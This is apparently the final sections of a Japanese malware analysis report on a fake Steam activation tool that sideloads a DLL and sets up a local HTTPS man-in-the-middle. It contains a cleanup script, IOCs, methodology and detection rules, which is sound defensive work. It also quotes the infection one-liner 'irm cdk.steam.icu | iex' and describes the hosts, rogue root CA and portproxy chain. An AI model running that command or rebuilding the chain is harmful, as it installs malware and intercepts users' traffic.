結論:このツールの「静的に観測可能な動作」はSteamゲームアクティベーション偽装シナリオに限定されていますが、その「実行時能力面」はAPI解決レベルでその用途に必要な範囲をはるかに超えています。これは、C2側が少量のロジックをプッシュするだけで(新しいファイルをランディングさせることなく)、上記のいずれかの能力をアクティベートできることを意味します。
16.4 結論の信頼度ラベル
今後の読者が本レポートの具体的な結論を引用する際に便利なよう、以下の項目を信頼度で分類します。
- 高信頼度:すべてのフィンガープリント/ハッシュ(証明書SHA256、ファイルSHA256、PDBパス、参照ドメイン)、およびすべての構造的結論(stage-1ロードチェーン、stage-2セクションレイアウト、埋め込み証明書の鍵ペア一致関係、protobufスキーマフィールド名)。
- 中信頼度:一部の関数セマンティクスラベル(
sub_293d0 = インストールオーケストレーション関数、sub_2cb80 = loadLib_export、sub_2ec20c = _beginthreadexなど)——逆アセンブル + 呼び出し関係の推論に基づき、動的検証未実施。 - 低信頼度:258項目のAPI解決テーブル内のws2_32部分の ordinal-to-slot の正確なマッピング——§12.13で
mov ecx, 0x35; call ntohs(?)のようにパラメータとターゲットAPIが一致しないケースが見られ、実行時の実際のテーブル埋め込み順序が本レポートの推論と±数スロットのずれがある可能性を示唆。構造的結論(「この関数は8443サーバーである」)には影響しないが、「特定のordinalがどのAPIに対応するか」の正確なラベル付けは動的検証に依存する必要がある。
17. クリーンアップスクリプト
# サンプルを隔離(最初は削除ではなくリネームし、後で確認できるようにする;安定して数日稼働したら削除)
Rename-Item "F:\steam\xinput1_4.dll" "xinput1_4.dll.suspect" -ErrorAction SilentlyContinue
Rename-Item "$env:LOCALAPPDATA\Steam\localData.vdf" "localData.vdf.suspect" -ErrorAction SilentlyContinue
# portproxy ルールをクリア
Remove-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp' `
-Name '127.0.0.1/443' -ErrorAction SilentlyContinue
net stop iphlpsvc
net start iphlpsvc
netsh interface portproxy show all # 出力が空であることを確認
# hosts 内の悪意エントリをクリア
# 管理者権限で C:\Windows\System32\drivers\etc\hosts を手動編集
# "# Network optimization configuration" とそれに続く6行の srv0X.* エントリを削除
# 偽のルート証明書を削除
Get-ChildItem Cert:\LocalMachine\Root,Cert:\CurrentUser\Root |
Where-Object { $_.Thumbprint -eq '2EB151DBA0C9F77E90F7D15EAFBAB7EDACEB4E9F' } |
Remove-Item
# クリーンアップ結果の検証
netsh interface portproxy show all
Get-Content "C:\Windows\System32\drivers\etc\hosts" |
Select-String 'codefusion|antitamper|Network optimization'
Get-ChildItem Cert:\LocalMachine\Root,Cert:\CurrentUser\Root |
Where-Object { $_.Thumbprint -eq '2EB151DBA0C9F77E90F7D15EAFBAB7EDACEB4E9F' }
Get-ChildItem F:\steam -Filter xinput1_4.dll
クリーンアップ完了後、影響を受けたホスト上のSteamは443 → 8443のportproxyルールを作成しなくなり、『Party Animals』起動後にSteamの高負荷がトリガーされなくなります。問題はクローズします。
18. IOC クイックリファレンス
ファイル:
F:\steam\xinput1_4.dll
SHA256: 631C8757165C9BACE8D6CFE019425ED5AC97319CF2D8FD2B07A8E32025711FB4
署名者: 山西荣升源科贸有限公司 (Verokey EV)
%LOCALAPPDATA%\Steam\localData.vdf
SHA256: 81F04831573AB983E7F4D7A64B375D0C66C6C282FFEFA00EA105F433CC8AC6A8
localData.vdf XOR 0xFF デコード後(hid.dll, エクスポート loadLib, VMP パック状態)
SHA256: D9ADF672F5A4405B0C113C9EEC653653FB0D8152875FCEB85BA30D2350F79C85
localData.vdf デコード + 動的アンパック後の完全なPEイメージ(元の文字列/証明書/秘密鍵を含む)
SHA256: 8911004DF9FA21350E085CBCAEFAA1A18E2E0DADFEDDF2E22E76EC55E4CEFCEC
サイズ: 8,560,640 bytes
証明書(アンパックイメージに埋め込み):
ルートCA(信頼されたルート、ローカルシステムにインストール)
CN=DCS Root CA G2, O=Digital Certificate Services, C=US
Thumbprint (SHA1): 2EB151DBA0C9F77E90F7D15EAFBAB7EDACEB4E9F
DER SHA256: 77FD7C44B8973F12D145D02BCF91FE03C85F93FA9B72988CE70E8D7F16F35B35
有効期間: 2025-11-14 ~ 2035-11-12
偽サーバー側リーフ証明書(マルチSNI多重化)
CN=srv01.codefusion.technology, O=CodeFusion Technology LLC, C=US
Issuer: CN=DCS Root CA G2
DER SHA256: 19B7FC43963DD116AC8CA280CA0DCDDD758D414D313F2EEA5D2630B68A40CA79
有効期間: 2025-11-13 ~ 2035-11-11
付随 RSA 2048 秘密鍵(pubkey MD5 はリーフ証明書と一致: 928e386311c6148e727c543ce099c875)
ドメイン(hosts 内で 127.0.0.1 にリダイレクト):
srv01.codefusion.technology / srv02.* / srv03.*
srv01.antitamper.net / srv02.* / srv03.*
ポート:
127.0.0.1:443 → 127.0.0.1:8443 (Steam.exe)
侵入入口:
irm cdk.steam.icu | iex
プロセスチェーン:
Steam.exe → cmd.exe /c → netsh interface portproxy add v4tov4 ...
19. 調査方法論の振り返り
今回のフォレンジックで検証された、再利用可能な方法論の原則をいくつか挙げます。
- 「ソフト」な仮説を優先して除外し、その後でハードな証拠を収集する。プロセスメモリダンプを収集する前に、Steam Overlay / Shaderプリキャッシュ / Input / 録画などの疑わしいサブシステムを一つずつ無効にして検証し、分析の方向性を「Steamクライアントの欠陥」から「Steamプロセス内の異常」に移行させます。
- プロセスメモリダンプは重要な転換点である。タスクマネージャーは「CPU高、メモリ大、スレッド多」という表面的な指標しか提供しません。一方、ミニダンプ解析では「何が高いのか、メモリセグメントの属性はどうか、スレッドは誰が作成したのか」を特定できます。同時に、大きな匿名の
PAGE_EXECUTE_READWRITEメモリとソケットacceptストームを観察すれば、Steamプロセスが注入されているとほぼ判断できます。 - ネットワーク層は見えなくても、ポート層は見える。
Get-NetTCPConnection+netsh interface portproxy show allは、WindowsプラットフォームでローカルMITMチェーンを調査するための2つの重要なチェックポイントです。 - portproxyが削除された後すぐに再作成される——このシグナルは「portproxyを直接観察する」よりも価値が高く、能動的な永続化プロセスが存在することを示します。
- Procmonで親子プロセスチェーンをキャプチャするのは、全イベントをキャプチャするよりも優先する。
Operation = Process Create+ 時間ウィンドウ + PID Includeフィルターを指定すれば、数十秒でSteam.exe → cmd.exe → netsh.exeチェーンを観察できます。 - クリーンな環境での対照実験は、低コストで高速な再テスト手段である。新しい
F:\teststeamをインストールして差分対照を行う方が、「一つずつ無効にして個別に再テストする」よりもはるかに速く、汚染範囲を古いディレクトリの差分に絞り込めます。 - Compare-Objectで差分セットを取得し、直接
xinput1_4.dllを特定。その後、「ファイルごとにリネームして再テスト」する二分収束法で確認します。 - 静的文字列スキャン + エントリ/エクスポートチェックは、「偽装システムDLL」の識別に非常に効果的です。
xinput1_4.dllという名前でありながらXInputインターフェースを一切エクスポートしないPEは、それだけで事件性があります。 - パックされたstage-2はメモリ内で姿を現す。
.textセクションのエントロピーが7.93の場合、静的スキャンではnetsh、portproxy、8443などのキーワードを認識できませんが、実行時ダンプではこれらの文字列はすべて展開されています。この現象は、「介入前にダンプを取得する」ことの価値を証明しています。 - hosts + Root CA + portproxyの3点セットは、ローカルHTTPS中間者が回避できない三角形である。3つすべてが揃わなければ成立しません。いずれか1つを観察したら、残りの2つも芋づる式にチェックする必要があります。
20. 結論と展望
20.1 結論
被害者は「アクティベーションスクリプト」irm cdk.steam.icu | iexを実行し、Steamインストールディレクトリにxinput1_4.dllを偽装したDLLサイドローディングローダーを埋め込まれました。このローダーはXOR 0xFFでstage-2を%LOCALAPPDATA%\Steam\localData.vdfに隠し、実行時に手動マッピングでhid.dllとしてSteamプロセス内に寄生します。hosts → 127.0.0.1 + portproxy 443 → 8443 + 自己署名DCS Root CA G2により、ローカル透過HTTPS中間者スタックを構築し、Steam SteamworksおよびDenuvo/Codefusionアンチタンパー通信の偽装とインターセプトに特化しています。『Party Animals』はこのフローの安定したトリガーにすぎず、Steamの高負荷現象はローカル偽サービスチェーン上のスレッドが適切に解放されなかった副作用です。
悪意/グレーゾーンコンポーネントとして扱います。
本レポートは静的レベルで以下の要点をクローズしました。
- 完全なロードチェーン:
irm cdk.steam.icu | iex(stage-0) →xinput1_4.dll(stage-1 loader, XOR 0xFF デコード + 手動PEマッピング) →localData.vdf(stage-2 イメージ, VMProtect 3.x パック); - ローカルMITMスタックの3点セット:hosts書き換え +
LocalMachine\RootへのDCS Root CA G2インストール +netsh portproxy 443→8443、3つすべて必須であり、それぞれコード内の特定の関数に対応; - プロトコルレベルの偽装ターゲット:
dbghelp.SymFromAddrによりSteamworks内部のGetDepotKey / GetTicket / ManifestAuth / GetEncryptTicketなどの認証関数にinline hookを実施し、steam_server.proto内のCMsgGetDepotKey* / CMsgGetTicket* / CMsgGetManifest* / CMsgCdkActiveRequestでプロトコル層の偽装を完了; - C2トポロジー:6つのcodefusion/antitamperドメインが127.0.0.1:8443のプロセス内偽サーバーにハイジャックされ、さらにその偽サーバーがオンデマンドで上流の実際のC2(
cdk.steam.icuおよびstage-2内蔵のいくつかのドメイン)にフォワード; - 脅威能力面:アンパックイメージで解析済みの258項目のAPI呼び出し面(
CreateProcessA / LoadLibraryExW / WinHttp* / Thread32* / VirtualProtectを含む)は、Steamライブラリ登録偽装シナリオの実際の必要性をはるかに超えており、作者が後続の任意のペイロードをプッシュできるリモートコントロール基盤を構成します。
20.2 限界
§16で述べたように、本レポートの結論はアンパックイメージの静的解析に基づいており、2つの系統的なブラインドスポットが存在します。
- VMProtect mutation 層:TLS callback入口とstage-2の重要な関数がmutation化された命令ストリームに包まれており、セマンティクスを静的に復元できません。
- オンデマンド復号コードセグメント:アンパックイメージは
loadLibが呼び出され、ワーカースレッドが生成された時点のメモリスナップショットのみを捉えており、トリガーされなかったコードパスは依然として暗号文/ノイズの形態をとっています。これにはアプリケーション層暗号化の鍵導出、8443サーバーのディスパッチロジック、CDKアクティベーションコードの実際のフローパスなどが含まれます。
読者が本レポートの結論を引用する際は、構造的結論(高信頼度) と正確な詳細(中〜低信頼度) を区別する必要があります。具体的な信頼度ラベルは§16.4を参照してください。
20.3 展望:推奨される今後の作業方向
§16.2の未解決問題リストを青写真として、以下の3つのパスに沿ってさらに進めることができます。
パスA:動的解析によるstage-2動作面のクローズ
- 隔離仮想マシン内で感染したSteamを実行し、
x64dbg+ ScyllaHideを使用してSteamプロセスにアタッチ。 LoadLibraryExW / GetProcAddress / SymFromAddr / BCryptGenRandom / VirtualProtect / WinHttpSendRequestなどの重要なAPIに条件ブレークポイントを設定。- §16.2のテーブルの問題1(テーブル埋め込み順序)、2(フックターゲットPDBシンボル)、3(
CMsgEncryptアルゴリズム)、4(8443サーバーのフォワード戦略)を順次解決。 - ツールチェーンとしてはFrida + InlineHookを選択し、非侵襲的にAPI呼び出しフローとプロトコルフレームを同時収集。
パスB:プロトコルファジングと上流C2のマッピング
- 隔離環境で一時的にhostsを復元し、サンプルを実際のC2と直接通信させ、6つのcodefusion/antitamperドメインの背後にある実際のIPと証明書チェーンをキャプチャ。
cdk.steam.icu/iexスクリプトをリバースエンジニアリングし、CDKアクティベーションコードの伝送チャネル(HTTP form / カスタムmessage / 埋め込みPowerShell設定)を確認。- プロトコルフレームをリプレイし、偽サーバーがローカルで応答を構築するか上流にフォワードするかを観察し、C2側が完全な「アクティベーション済みアカウント/depot key」データベースを保持しているかどうかを判定。
パスC:配布チェーンの追跡とグレーゾーンエコシステムのプロファイリング
cdk.steam.icuドメインの登録、CDN、上流サーバーを逆方向に特定。- 「アクティベーションコード / Steamライブラリ登録 / オンライン対応バージョン」販売ページのIOC(ドメイン、カスタマーサービス連絡先、支払いチャネル)を収集し、グレーゾーンエコシステム全体の規模を評価。
- 他の公開されているSteamライブラリ登録ツールのサンプルと特徴を比較し、本サンプルが既知のファミリー(
DCS / Codefusion名前空間下のツールコレクションなど)に属するか判断。
20.4 防御側の実践的アドバイス
企業のEDR/SOCチーム向けに、本レポートで即座に導入可能な検出ルールを以下に示します。
- Steamクライアントのプロセスチェーン異常:
Steam.exe → cmd.exe → netsh.exe interface portproxy addプロセスチェーンは高優先度のアラートとする。 - ローカルportproxy異常:
netsh interface portproxy show allに127.0.0.1:443 → 127.0.0.1:8443タイプのマッピングが存在する場合、iphlpsvcサービスの状態と合わせて総合判定。 - 疑わしいルート証明書:
LocalMachine\Rootにフィンガープリント2EB151DBA0C9F77E90F7D15EAFBAB7EDACEB4E9Fの証明書、またはSubjectにDCS Root CA G2を含む証明書。 - Steamディレクトリ内の疑わしいファイル:
<Steamルートディレクトリ>\xinput1_4.dllが存在するがXInputエクスポートシンボルがない;%LOCALAPPDATA%\Steam\localData.vdfファイルが存在しサイズが約2.4 MB(Steam公式はこのパスに同名ファイルを配布しない)。 - hostsの異常エントリ:
hostsファイルにsrv0X.codefusion.* / srv0X.antitamper.*タイプのエントリが含まれ、127.0.0.1を指している。
エンドユーザー向けのベストプラクティス:irm | iex / iwr | iex / curl | sh タイプの一行コマンドを実行するよう要求する「アクティベーションスクリプト」は、一律で実行を拒否するべきです。このようなコマンドは任意のリモートコードをダウンロードし、現在のユーザー権限で実行するものであり、現在WindowsおよびmacOSユーザーが直面する主要な初期アクセスベクターの1つです。Steam公式にはPowerShellスクリプトの実行を必要とするアクティベーションフローは存在しません。